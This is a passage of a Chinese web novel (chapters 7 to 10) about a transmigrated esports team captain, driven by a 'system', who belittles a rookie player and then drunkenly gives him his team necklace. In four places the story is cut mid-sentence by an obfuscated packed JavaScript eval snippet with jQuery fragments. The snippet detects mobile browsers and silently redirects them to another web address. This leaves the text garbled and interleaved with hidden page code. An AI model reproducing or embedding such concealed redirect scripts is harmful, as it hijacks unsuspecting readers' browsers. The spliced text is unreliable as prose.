《龙傲天男主别再爱上宿敌了[快穿]》
7. 第七章
二楼窗口,余烬的猛地缩回脖子,后背紧紧贴在冰凉的墙壁上,屏住呼吸,一动不敢动。
他看见我了?
他不知道自己为什么要躲,只是在那双清亮的眼睛看过来的瞬间,一股近乎本能的慌乱攫住了他,让他下意识地藏了起来。
也许他只是单纯地不想破坏眼前这幕他从未想象过的,属于队长的另一面。
楼下草坪上,江屿白微微蹙眉,疑惑地又扫了一眼二楼的窗户。那里空荡荡的,只有窗帘在微风中轻轻晃动。
系统:【……宿主,目标人物余烬已经出现,请宿主尽快开始执行任务,不要玩物丧志。】
【嗯嗯,知道了知道了。】江屿白在心底敷衍地回应,目光重新落回脚边热情蹭着他的小狗上。小家伙湿漉漉的鼻头拱着他的手心,尾巴摇得欢快,眼巴巴地望着他手里的飞盘。
江屿白脸上那点疑惑瞬间消散,重新被轻松的笑意取代:【急什么?任务又跑不了。今天基地难得人少,主角又在训练室待着,我好久没跟大黄玩了,再玩会儿。】他一边说着,一边蹲下身,轻轻揉了揉大黄毛茸茸的下巴。
“呜……”大黄舒服得眯起眼睛,喉咙里发出满足的呼噜声,随即更加激动地伸出舌头,热情地舔舐着江屿白的手腕和脸颊,弄得他痒得直笑,不得不微微后仰躲避。
窗后,余烬小心翼翼地再次探出一点视线,屏息凝视着楼下那个与小狗嬉闹的身影。阳光勾勒出江屿白挺拔的轮廓,他脸上的笑容纯粹而明亮,带着一种少年气的恣意。
这就是队长真实的模样吗?这样的人会是网上评价的那个“操作封神但刻薄又毒舌的魔鬼”,是前辈口中那个“为人严厉又不近人情的队长”吗?
余烬再次小心翼翼地探出一点视线,看着楼下草坪上那个被大黄扑得踉跄,笑得毫无负担的青年,一个念头如同破土的嫩芽,不受控制地在余烬心中滋生、蔓延:
也许Pale队长其实是一个很温柔的人,只是大家对他有误解。
他一定是把所有的严苛都留在了赛场上,为了追求胜利,为了守护BZN的荣耀,私下里,他也会和可爱的狗狗玩耍,也会笑得这样温暖和煦。
余烬的心跳再次不受控制地加速,血液奔涌着冲向耳膜。他用一个带着梦幻色彩的滤镜,构建着眼前这个人的形象,Pale是他的偶像,是带领BZN登顶世界之巅,手握双冠的传奇选手,是他仰望了许久,如今终于有机会靠近的星辰,这样的队长,怎么会是网上说的魔鬼呢?
他相信着自己的判断,然而现实很快就给了他沉重的一击,将他精心构筑的滤镜砸得粉碎。
第一次训练赛。
余烬被安排和主力队员一起打训练赛,对手是另一个强队。他坐在电脑前,手指因为激动和紧张而微微颤抖——他终于能和Pale并肩作战了,虽然不是正式比赛,但这已经是他梦寐以求的时刻。
可是他太想表现了,太想在偶像面前证明自己配得上站在他身边。结果,一次关键的团战支援,他因为过度紧张导致走位失误,被对手抓住机会秒杀,被打开一个缺口,导致团战溃败。
“走位都不会?手抖成这样,”江屿白的声音传来,“不如去楼下炒河粉,来这里打什么职业?”
冰冷的话语像一盆冰水,瞬间浇灭了余烬所有的激动和热血。他低着头,手指紧紧抠着键盘边缘,他想辩解,想说自己太紧张,想说自己下次一定不会。但最终,他只是低低地应了一声:“……知道了,队长。”
没关系,他想,是自己确实有问题,手太抖了。队长训斥得没错,严格要求才能进步。
第二次,训练赛后的复盘。
投影上播放着关键团战的失误画面。江屿白站在战术板前,指尖点着余烬的ID。
“这里,Ember。”他平静地说,“对方打野明显在靠,你压线过深,毫无警觉。被包夹后技能交得稀烂,慌乱中把点燃给了辅助?”
他放下激光笔,目光扫过脸色煞白的余烬:“就你这种心态,跟纸糊的一样,一碰就碎。这种状态首发上去送吗?BZN不是托儿所。”
余烬坐在下面,感觉无数道目光若有若无地扫过他,脸上火辣辣的。他把难受咽下去,心想,电竞本来就很残酷,队长说得对,心态不稳是致命伤。何况,队长本身是个温柔的人,现在这样严厉,也是关心他才对他这么苛刻。
第三次,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326305|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深夜的走廊。
训练室只剩下余烬一个人。他拒绝了队友休息的邀请,一遍遍练习着白天失误的操作。他渴望站在赛场上,更渴望站在那个有Pale的赛场上,和他一起并肩作战,一起捧起那座梦寐以求的奖杯。
脚步声在空旷的走廊里响起,由远及近。余烬心中一紧,下意识地挺直了背脊,手指更加用力地敲击着键盘,希望能展现自己加练的努力。
江屿白的身影出现在门口,大概是路过。他停下脚步,目光掠过屏幕上余烬正在进行的枯燥练习的昏黄的灯光下,他嘴角勾起一抹毫不掩饰的讥诮弧度。
“就凭你现在这种练法,除了把手练废还能练出什么?”
他带着一种近乎残忍的笃定:
“照你这样下去,冠军下辈子再考虑吧。”
“冠军”。
这两个字像一把淬毒的匕首,精准无比地捅进了余烬心底最珍视的地方。
《幽冥》的世界冠军奖杯被称为“恒星”,是他一直以来最渴望的梦想,不仅仅是因为它代表着这个游戏的最高荣誉,更因为……Pale,他的队长,他的偶像,手握两座“恒星”奖杯。
他曾在无数个日夜,反复观看Pale夺冠的录像。看着他如何在绝境中力挽狂澜,看着他如何以神乎其技的操作撕裂对手的防线,看着他最终站上那万众瞩目的颁奖台,金色的雨落在他身上,他高举奖杯,光芒万丈。
那个台上光彩夺目的Pale,那个站在中央成为全场目光焦点的Pale,那个下颌微抬享受万千荣誉的Pale,他想看看他眼中是怎样的风景,他想知道他心里是怎样的心情,他想知道他感受到的是怎样的荣光,他想……他想离Pale近一点。
这句讽刺将他所有的努力和憧憬贬低得一文不值,几乎抽干了他所有的锐气。
但他不敢放松,只是更加用力地训练。他不敢再欺骗自己Pale是关心他,那个和Pale一起站上颁奖台的梦想像风中残烛般摇曳,却依然是他黑暗中唯一的光亮。他只能怀揣着这几乎被碾碎的梦想,继续机械麻木地练习,试图抓住那渺茫的希望。
然而击碎他最后一丝妄想的转折,很快就到来了。
8. 第八章
又一次训练赛,战绩惨不忍睹。
余烬感觉自己像被扔进了一个高压锅里,每一寸神经都绷紧到了极限。他知道自己必须打好,必须证明自己,尤其是在队长面前。可越是迫切操作就越是变形,对手显然研究过他这个新人,针对性的Gank和压制如同跗骨之疽,让他疲于奔命。
最终,是江屿白冷静的声音在耳机里响起,精准的指令和力挽狂澜的操作硬生生将队伍从溃败的边缘拉了回来,逆风翻盘。
Victory的标志亮起,余烬坐在椅子上,手心全是冷汗。
复盘会议的气氛压抑得让人窒息。
教练首先详细分析了整场比赛,重点指出了团队配合和资源控制上的几个共性失误。然后,他按照位置顺序,开始逐个点评队员的表现。
上单对线期的细节处理、打野的路线选择、AD的团战输出时机、辅助的视野布控……教练一一指出问题,也肯定了做得好的地方。轮到中单的余烬时,教练顿了顿,似乎想说什么,但最终只是简单提了句“中路对线压力比较大,需要队友更多关注”,便滑了过去。
余烬低着头,手指无意识地蜷缩着,他知道,教练的轻描淡写意味着什么——真正的评价会来自于Pale。
果然,教练说完后,目光转向了江屿白:“Pale,你补充一下?”
江屿白面色平静地点头站起身,他目光扫过在场的每一位队员,声音清晰:
“上单第三波兵线处理太急,漏了经验,导致第一波Gank你无法及时支援。”
“下路组,第一波被四包二,沟通缺失,预警信号打得太晚。”
被他点到的队员都面色凝重地点头,认真记下。
终于,他的目光落在了余烬身上。
余烬的脊背立刻下意识地绷直。
然而江屿白的目光在他身上只停留了不到一秒。
他微微顿了一下,然后自然地移开了视线,那眼神里没有任何情绪,没有失望,没有愤怒,甚至没有惯常的讥诮,平淡得像扫过一粒无关紧要的灰尘,仿佛余烬这个人和他刚才惨不忍睹的表现,根本不值得浪费他哪怕多一秒钟的时间。
“今天就到这里吧。”江屿白宣布了会议的结束。
余烬猛地抬起头,眼中充满了难以置信,瞳孔在灯光下微微震颤。
……结束了?
没有提到他。一次也没有。他的名字,他的低级失误,他那几乎导致全线崩盘的糟糕表现,就像投入深海的石子,连一丝涟漪都未曾激起,就被轻描淡写地抹去了存在过的痕迹。
为什么?
为什么独独跳过了他?
是因为他已经烂泥扶不上墙,连被点评,被训斥的价值都消失殆尽了吗?是因为在队长眼里,他已经是一枚可以随时丢弃,无需再浪费任何唇舌的弃子了吗?
意识仿佛被抽离,他像个旁观者一样看着会议室里的人们开始活动,椅腿摩擦地面发出轻微的声响,队友们低声交谈着。而这一切的背景音都在他耳边模糊、远去。
原来这样的漠视更令人绝望,仿佛他这个人,他熬夜加练的每一个夜晚,他所有的挣扎与存在……在对方眼里,都已变成无关紧要的空气。
他甚至可悲地发现,自己竟然开始怀念那些毫不留情的训斥。至少那时,队长的目光是落在他身上的。
可现在……
心脏像是被一只冰冷而无形的手狠狠攥住,骤然缩紧,前所未有的恐慌如同海啸般汹涌而上,淹没了所有感官。
他清晰地意识到,他害怕的从来不是队长的严厉,他害怕的是队长的眼里再也没有他。
会议解散了,队友们陆续起身,讨论着今晚的聚餐去哪里。余烬僵硬地站起来,精神恍惚,不小心撞到了身后的椅背,轻微的一声脆响,一个银色的东西从他的队服口袋滑落,掉在了光洁的地板上。
是他的队链。
那条象征BZN队员身份、被他视若珍宝、日夜摩挲得边缘都有些光滑的银色项链。
余烬心中一慌,连忙弯腰想去捡。就在这时,一双穿着干净运动鞋的脚从他身旁经过,完全没注意到地上那条细小的银链,鞋底不偏不倚,正好踩在了项链的连接处。
“咔嗒。”
一声细微的断裂声响起。
那双脚的主人毫无所觉,很快走远,融入了离开的人群。
余烬蹲在那里,捡起他的队链。冰凉的金属链身还残留着一点体温,那枚小小的菱形铭牌在灯光下依旧反射着细碎的光,但原本完整的链子中间却多了一个刺眼的豁口,断裂处的金属茬口尖锐地支棱着。
他下意识地用指腹摩挲那断裂的地方,冰冷的尖刺立刻硌得皮肤生疼。
象征着他好不容易才得到,拼命想要抓住的这一切的队链……断了。
就像他此刻摇摇欲坠的梦想和坚持。
没有时间给他修复,甚至没有时间让他难过。队友的催促声从门口传来:“Ember!走了,聚餐了!”
余烬猛地抹了一把脸,胡乱地将断裂的项链塞回口袋,尖锐的断口隔着衣物硌着他的皮肤,带来一阵阵清晰的刺痛。他低着头,匆匆跟上了前面的人群。
走在前面的江屿白丝毫不知道自己无意中的一个脚步踩碎了什么。
他正在脑海里和系统闲聊:【看来冷处理效果
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326306|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不错?这次之后,男主心态应该彻底崩了吧,离主动退队不远了。】
系统回答道:【目标恨意值在会议结束后有剧烈升高波动,目前稳定在90%。】
【哦?】江屿白有点意外,【是刚才我无视他的时候升高的?】
系统:【数据监测显示,峰值出现时间似乎有轻微延迟,并非在宿主无视他的当时,而是在散会之后。】
江屿白挑眉,开玩笑说:【延迟?你这高科技产物还会延迟?挺有意思,那你测测你自己现在的帧率稳定不?】
系统:【……】它好像被这不着调的问题噎了一下,电子音停顿了片刻才响起,【宿主,我需要暂时连接主空间进行一次自检程序,预计需要数小时。】
【行,你去吧。】江屿白无所谓地应道,【反正这几个小时就是聚餐唱歌,也出不了什么事。】
聚餐选在了一家队员常去的餐厅,包间里人声喧哗,复盘会上压抑的气氛一扫而空。
余烬沉默地坐在角落,几乎没动筷子,口袋里的手紧紧攥着那枚断裂的项链,指尖反复摩挲着那个尖锐的断口,自虐般感受着清晰的痛感。
周围的队友们笑声不断地聊着比赛和八卦,江屿白似乎心情也不错,甚至难得地接过了教练递来的酒杯喝了两杯。他想着恨意值飙升到90%,马上胜利在望,稍微放松一下也无妨。
然而他低估了这具身体对酒精的耐受度。两杯酒下肚,一股强烈的晕眩感就猛地窜了上来,脸颊也开始发烫。他立刻警醒,放下杯子没再喝,但酒精的后劲却如同潮水般层层涌上,视线开始有些模糊,思维也变得迟缓起来。
饭后,一群人又转战KTV。
嘈杂的音乐,炫目的灯光,鬼哭狼嚎的歌声。余烬依旧缩在最角落的沙发里,摊开掌心,那枚断裂的项链在昏暗变幻的灯光下显得更加残破。
他低着头,一遍遍试图将两处断裂的金属茬口对接起来,指尖被扎得生疼,却只是徒劳,裂痕一旦产生,便无法复原到原本的模样。
就在这时,他感到自己的肩膀被轻轻拍了拍。
余烬茫然地抬起头。
震耳的音乐声中,五彩斑斓的灯光扫过,映出坐在他身旁的人——是江屿白。
他看起来很不对劲,脸颊泛着不正常的红晕,那双平时总是冰冷锐利的眼睛此刻蒙着一层水汽,显得有些迷离和懵懂,他就这样直勾勾地看着余烬,好像认了他很久,又好像刚刚才发现他在这里。
然后,在余烬震惊的目光中,这位平时刻薄又毒舌的队长,微微歪了歪头,带着一种鲜少出现的疑惑和关心,问了一句:
“你怎么一个人缩在这里?”
9. 第九章
KTV里光影乱窜,江屿白瘫在沙发里,只觉得脑袋里像塞了一团湿漉漉的棉花,又沉又闷,他晕得厉害,整个世界在他眼前扭曲旋转,斑斓的灯光拖曳出长长的模糊的色块。
他费力地掀开眼皮,视线涣散地扫过队友,最终迷迷糊糊地定格在了最角落的阴影里。
那里坐着一个身影,很高,微微佝偻着背,几乎要陷进沙发里。明明身处喧嚣,却像被一层无形的玻璃罩子隔开了,周身弥漫着一种与周围欢腾格格不入的低压。
这人是谁?
江屿白混沌的大脑艰难地运转着,却怎么也对不上号。酒精蚕食了理智,也模糊了任务的界限。他忘记了自己是Pale,忘记了需要维持的冷漠,只是凭着一点残存的本能,过去伸出手拍了拍那人的肩膀。
“诶?”他声音含糊,“你怎么一个人缩在这里?不高兴吗?”
余烬正陷在自己的情绪里,掌心被断裂项链的尖锐茬口硌得生疼,这细微的痛楚奇异地让他混乱的心绪稍稍有了一个锚点,突如其来的触碰和声音让他骤然抬起头。
映入眼帘的,是队长江屿白泛着不正常红晕的脸。那双总是淬着冰的眼睛,此刻蒙着一层湿漉漉的水汽,找不到焦点似的。
“队长…我…”余烬一时语塞,复杂的情绪在他胸腔里翻滚——敬畏、畏惧、委屈、不甘,还有一丝连他自己都说不清道不明的悸动,拧成一股乱麻。他下意识地想将掌心里那枚断裂的项链藏起来。
这个细微的动作却立刻吸引了醉鬼的注意力。
江屿白的目光慢吞吞地垂下去,落在了余烬紧握的拳头上。他眯起眼,努力对焦,总算地看到了那节闪着冷光的银色链子,以及那明显不自然的断裂处。。
哦……
断了啊。
一个简单的逻辑缓慢成型——东西坏了,所以不开心,所以一个人躲起来。
他恍然大悟般点点头:“你的项链断了啊。”
看着那截断链,他混沌的脑子里忽然模糊地闪过一个念头:这东西……看着有点眼熟。好像我也有个差不多的?
这个念头让他下意识地抬手,指尖摸索向自己的脖颈。当触碰到那枚一直贴身戴着的项链时,一种朦胧的确认感涌上心头。哦,对,我也有一条。
他没有再多想,手指勾住链子,利落地解开了颈后的搭扣,解下了他那条刻着“Pale”的队链。
“喏,”他把自己的项链递过去,链子在他指尖轻轻晃动,折射着头顶旋转的彩光,“我这条给你呗。”
余烬蓦地僵住了,眼睛因为震惊而微微睁大,一眨不眨地盯着突然递到眼前的项链。那枚小小的金属铭牌在空中缓慢地转了个面,将背面清晰的字母——Pale——毫无保留地暴露在他眼前。
这个他曾在无数个深夜里,对着比赛录像、对着宣传海报、对着幻想,默默仰望、描摹了无数遍的ID,此刻竟然以这样一种方式近在咫尺。
仿佛有月光透过喧嚣的灯光洒落而下,照亮了冰冷的刻痕,也照亮了眼前醉酒的人。
江屿白见他不接,似乎有些不解,又往前递了递,脸上扬起一个毫无阴霾的笑容:“不就是一条项链吗?断了就断了,没事的,我这条给你,拿去!”
他不由分说,带着醉鬼特有的执拗和豪迈,一把抓过余烬僵在半空的手,有些强硬地将那枚尚带着自己体温金属铭牌塞进了对方微凉的手心里。
冰与热的触感骤然交叠,激得余烬指尖猛地一颤,下意识地蜷缩起来,却将那枚刻着“Pale”的铭牌牢牢握住了。
他怔怔地看着自己的掌心。
一条是断裂的、冰冷的、属于他的、铭牌空白的失败象征。
另一条是完整的、温热的、属于队长的、刻着耀眼ID的、他曾梦寐以求的荣光。
两条链子并排躺着,仿佛两个截然不同的世界,以一种荒谬的方式碰撞在了一起。
视线不受控制地抬起,再一次落在江屿白脸上。
没有了平日的冰冷和讥诮,没有了训练室里的严厉和不近人情。那双总是冷漠的眼睛此刻弯着,里面映着迷离的光,很干净,很温暖,像他记忆中那个遥远的、阳光下逗弄小狗的恣意少年。
那个他一度以为只是自己压力过大产生的美好幻觉,那个被他小心翼翼珍藏却又不断被现实否定的虚影……难道,竟然是真的吗?
心脏像是被一只无形的手猝然攥紧,又猛地松开,随即开始失序地狂跳,扑通、扑通、扑通……一声声剧烈得仿佛要挣脱胸腔的束缚,撞碎肋骨,直接从喉咙里蹦出来。血液轰地一下涌上头顶,耳膜嗡嗡作响,震得他整个世界只剩下那擂鼓般的心跳和眼前这张带着醉意笑容的脸。
他想说点什么。想问为什么,想说谢谢,或者只是想叫一声“队长”,喉咙却像是被一团滚烫的东西死死堵住,发不出任何声音。
然而还没等他从这巨大的冲击中缓过来,眼前的江屿白忽然晃了两下,眼神彻底失去焦距,身体一软,像是被剪断了线的木偶,直直地朝着他倒了下来。
“?!”
余烬呼吸一窒,完全是下意识地伸出手,一把将人接住。
陌生的重量结结实实地压了他满怀。隔着薄薄的衣料,他甚至能感受到对方胸腔下平稳的心跳和温热的体温。这突如其来的亲密接触让他浑身绷紧了,僵硬得像块石头。
他几乎是屏住了呼吸,小心翼翼地摇了摇怀里人的肩膀,声音干涩得发哑:“队长?”
回应他的只有耳边均匀而绵长的呼吸声,温热的气息拂过他的颈侧,带来一阵细微而陌生的战栗。
队长……就这么毫无防备地在他怀里睡着了?
昏暗变幻的灯光掠过他苍白的下颌线,平日里总是紧抿着吐出刻薄话语的线条,在睡梦中奇异地软化下来,长睫垂落,投下一小片安静的阴影,竟透出一种异样的柔软。
余烬沉默了。
他就这样保持着姿势,一动不动地坐着,任由那颗毛茸茸的脑袋靠在自己的颈窝,温热的呼吸一下下拂过他的皮肤,掌心那两枚冰凉的铭牌仿佛也被捂得发烫。
直到聚会散场,队友和教练过来,惊讶地发现他们队长竟然醉倒在了新来的中单身上。
“Ember,没事吧?我们来扶队长吧。”经理说着就要上前。
余烬却几乎是下意识地后退了半步,搂紧了怀里的人:“没事,经理,队长不重,我……我背他回去就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326307|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好。”
回基地的路不长,但余烬走得很慢。背上的人很安静,他能清晰地感受到对方胸膛传来的心跳,一下一下,隔着衣料敲击着他的背脊,与他自己仍未平息的心跳混在一起,分不清彼此。
回到基地,他和队友一起小心翼翼地将江屿白安顿在床上,盖好被子。做完这一切,他却没有立刻离开,而是在床边无声地站了一会儿。
昏暗的夜灯光线下,江屿白沉睡的侧脸显得异常平静,白日里所有的锋芒和冷硬都被夜色柔化,只剩下一种近乎纯粹的安宁。
余烬沉默地看了一会儿,才悄无声息地退出了房间,轻轻带上了门。
回到自己的宿舍,夜已经很深了。
他站在阳台,月光如水银般倾泻。他摊开掌心,两条项链静静地躺在那里,一条断裂的属于他的空白铭牌项链,一条完整的刻着“Pale”的队链。
鬼使神差地,他将那断裂的豁口轻轻嵌合在另一条链子的某个链环上,断裂处的尖锐与另一条链子的圆润暂时咬合,月光下,两个并列的铭牌轻轻碰撞,在微凉的夜风中发出叮咚脆响。
IFX基地宿舍,余烬沉默地看着眼前两条交织的项链。
那条原本断裂的链子早已被他精心修补好,断口处被巧妙焊接,与另一条链子紧紧缠绕,构成了两个交错闭合的圆环,再也无法单独分开。
他的目光透过这交织的金属,仿佛看到了三年前的自己,那一次之后,他很快就选择了离开BZN,加入了落魄的老牌IFX战队,因为在BZN他不一定能上首发,但在青黄不接缺人的IFX他一定可以有首发资格。
他需要这个资格,需要上到真正的赛场进行磨练,需要尽快成长追上Pale的脚步。
思绪从回忆中抽离,余烬的指尖无意识摩挲着冰凉的金属,那些被时光模糊的画面再次清晰起来——初见时训练室里冷酷训斥他的队长、后院阳光下逗狗时明亮恣意的队长、复盘会议上冰冷毒舌将他贬得一无是处的队长、还有……那个醉意朦胧、将带着体温的项链塞进他手里、笑容柔软地对他说“喏,我这条给你”的队长。
无数个面孔交织、重叠、碰撞。
余烬不自觉地收拢手指,铭牌尖锐的棱角硌在掌心,带来清晰而熟悉的痛感,与三年前被断口刺破指尖的疼痛如出一辙。
江屿白……
他无声地在心底默念这个名字。
到底哪一个,才是真实的你?
另一边。
宿舍里,江屿白深陷在睡梦之中。
脑海里冰冷的系统提示音突兀地响起,一遍遍重复,终于将他从混沌中拉扯出来一丝意识。
【宿主,宿主。】
“嗯?”他翻了个身,含糊地应着,“怎么了……”
系统的电子音似乎带着一丝不易察觉的凝重。
【检测到目标恨意值发生剧烈异常波动。经过一段时间的猛烈下滑与紧随其后的猛烈上涨,现有数值已大幅震荡并重新稳定——】
它停顿一下,报出了一个让江屿白彻底清醒的数字。
【目前恨意值:80%。】
“什么?!”
江屿白猛地从床上坐了起来。
10. 第十章
第二天一早,IFX基地的训练室还一片宁静,AD选手Leaf打着哈欠第一个推门进来,习惯性地朝着自己靠窗的位置走去。然而脚步刚迈进去两步,他就猛地顿住了,生生把第二个哈欠憋了回去,有些难以置信地看着训练室里面的那个位置。
跟在他后面的辅助Ming猝不及防,差点撞上他后背,疑惑问道:“Leaf?干嘛呢,堵门口……”
“嘘——”Leaf侧过身,用眼神示意他噤声,朝着里面努了努嘴,表情古怪。
Ming顺着他的目光疑惑地望过去,也不由得愣住了。
训练室里,队长余烬旁边的那个机位此刻已经坐了人。
江屿白戴着降噪耳机,微抿着唇,脸上没什么表情,只有屏幕反射的光在他眼底快速跳跃。他的手指在键盘和鼠标上流畅地操作着,发出清脆规律的敲击声,看起来已经来了有一段时间了。
“他来这么早……”Ming几乎是气声,凑到Leaf耳边,“训练吗?”
这位新来的替补打野可没有直播时长需要补,这么早出现在这里,只可能是自发训练。
“不知道啊。”Leaf摇摇头,声音同样压得极低。两人交换了一个眼神,都从对方眼里看到了同样的谨慎和疑惑。他们对这位大前辈完全不熟,只知道他资历深、曾经实力封神,但更让人印象深刻的是那些网上流传甚广的黑料——打压新人、性格恶劣、难以相处。这让他们下意识地有些不敢靠近,甚至不太敢主动打交道。
但毕竟是队友了,总不能一直当空气。Leaf深吸一口气,努力让自己看起来自然一点,一边走向自己的位置,一边朝着江屿白的方向尽量用平常的语气打了个招呼:“早啊,Pale。”
他话说得很快,几乎没指望沉浸在游戏里的对方能有什么反应,可能点个头就算不错了。
出乎意料的,江屿白倏地抬眸,视线极快地从Leaf脸上扫过,随即又落回屏幕,清晰地回应道:
“早。”
Leaf:“!!!”
Ming:“!!!”
两个人都被这声意料之外的回应惊得愣了一下。Ming立刻用夸张的眼神向Leaf传递信息:他竟然回你了?!
Leaf眼神微妙地回望:我也吓一跳……还以为他会特别高冷,根本不理人。
Ming挤眉弄眼:不是都说他以前在BZN根本不把队友当人看吗?
Leaf微微耸肩:谁知道呢……再看看。
“你俩站门口干嘛呢?眼睛抽筋了?”
一个大大咧咧的声音插了进来,上单Stone揉着头发走过来,看到他俩堵在门口眉来眼去,一脸莫名其妙。他说完,视线扫过了训练室,也看到了那个醒目的身影。Stone脸上的表情肉眼可见地僵了一瞬,闪过一丝犹豫和迟疑,嘴唇动了动,最终却什么也没说,只是绷着脸快步走到自己远离江屿白的位置坐下,打开了电脑。
江屿白对此毫无反应,因为他此刻正一心二用,一边依靠肌肉记忆补刀走位,一边在脑子里跟系统激烈搏击。
【一晚上风平浪静,什么事都没发生。】江屿白在心里吐槽道,【这恨意值怎么会往下掉?系统,你这检测机制不会又出bug了吧?】
系统的电子音平稳无波:【宿主,自凌晨警报响起后,我已进行过三次核验。目标恨意值确从99.9%下降至当前数值。】
【那你也不能凌晨五点把我叫醒吧!】江屿白咬牙切齿,【这是人能干出来的事吗?】
系统:【宿主,我不是人类。】
【不是人也不能扰人清梦啊!】
江屿白困得头晕眼花,凌晨被系统强行叫醒后,他翻来覆去再也睡不着,怎么也想不通余烬那边又出了什么幺蛾子,干脆爬起来跑到训练室打匹配发泄精力,结果就是现在脑子依然昏沉得像一团浆糊。
一个没忍住,他对着屏幕打了个小小的哈欠,他赶紧甩甩头,试图让自己清醒一点,继续操作。
Ming:“……”
他立刻用胳膊肘偷偷撞了一下旁边的Leaf,眼神疯狂示意:看到没看到没?!
Leaf莫名其妙地看他:看到什么?
Ming眼睛瞪得更大了:他打哈欠了!Pale!他居然会打哈欠!
仿佛看到了什么世界奇观。
Leaf一时无语,觉得自家辅助的关注点真是清奇。然而还没等他吐槽,训练室的门再次被推开。
这一次进来的是余烬。
他穿着一身简单的运动服,额发似乎被晨露微微打湿,手上拿着两杯外带咖啡。他径直走了进来,目光在训练室内快速扫过,在看到那个早已坐在电脑前的背影时,脚步几不可察地顿了一下。
在另外三人或隐晦或直接的注视下,余烬面色如常地走到江屿白身后,停下脚步,将其中一杯咖啡轻轻放在了江屿白鼠标垫旁边。
“……”
训练室里的四人一统陷入了一种诡异的寂静。
Leaf、Ming甚至包括一直绷着的Stone,都下意识地停下了手中的动作,目光在那杯突兀出现的咖啡和江屿白没什么表情的侧脸之间来回移动。
江屿白:“……”
江屿白看着鼠标旁那杯冒着细微热气的咖啡,侧过头看向已经在自己旁边座位坐下的余烬:“给我的?”
余烬正打开自己那杯咖啡的盖子,闻言头也没抬,语气平淡地解释:“嗯。今天六点不到听见你宿舍门开了。”
他抬起眼环顾了一下训练室里神色各异的队友们,继续说道:“今天人齐,刚好可以五排磨合一下。”视线最后落回江屿白脸上,“如果你还困,可以回去再睡会儿,或者喝咖啡提神。”
说完,他垂下眼,吹了吹自己杯口的热气,抿了一口,一副公事公办、只是顺便的模样。
江屿白沉默了。他在脑子里疯狂问系统:【系统,他这是什么意思?关心我?】
系统似乎也很困惑:【正在进行情感动机分析……分析失败。无法判定目标行为是出于“关心”或其他复杂人际互动。数据样本不足,无法提供准确解读。】
【……】江屿白简直无语,【男主昨天晚上到底发生了什么?人格分裂了吗?】
突然,他想起系统说的恨意值波动是在凌晨,又看向余烬,果不其然,那双看似平静的眼睛里布满了不易察觉的红血丝。
“你……”江屿白下意识地开口,“昨天一晚没睡?”
余烬握着咖啡杯的手指收紧了一下,随即松开。他垂下眼睫,避开江屿白探究的视线:“嗯。昨天晚上在熬夜想战术。”
江屿白:“……”
这谎撒得也太拙劣了,想战术那是教练组和分析师的活儿,他一个队员熬夜想什么战术?更何况现在还是休假期。
“如果你不困的话,我们就先五排。”余烬似乎不想再继续
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326308|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个话题,快速说完便转向其他三名队友,“今天的五排你们可以播出去。”
Leaf和Ming对视一眼,虽然心里嘀咕着这时候新阵容五排直播会不会节奏更大,但还是听话地打开了直播软件。Leaf想了想,把直播间标题改成【休假直播!IFX五排】,Ming有样学样,只有Stone抿着唇,脸色不太好看,沉默了半天,最后只干巴巴地打了个【休假期直播】的标题。
江屿白和余烬自然没开播。
但其他三人的直播间一开,尤其是标题暗示了五排,立刻涌进来不少粉丝。
【早啊!休假还开播,敬业!】
【五排?!是我想的那个意思吗?Nine神回来了?!】
【肯定是原班人马!IFX冠军阵容重聚!】
【速度开!我已经等不及了!】
粉丝们兴奋的弹幕还没刷了几条,游戏房间界面显示出来,当看清那个打野位置熟悉的ID——“WhiteIsland”时,直播间瞬间炸了锅。
【??WhiteIsland??这不是昨天Pale的号吗?!】
【等等,为什么打野是他?Nine呢?我九哥呢?!】
【还我九哥!我们要看的是IFX,不是BZN遗老!】
【吐了,他不配跟烬神和Stone他们一起排!】
【演员请自觉退出好吗?看着膈应人。】
弹幕顿时乌烟瘴气,被骂声和质疑声淹没。
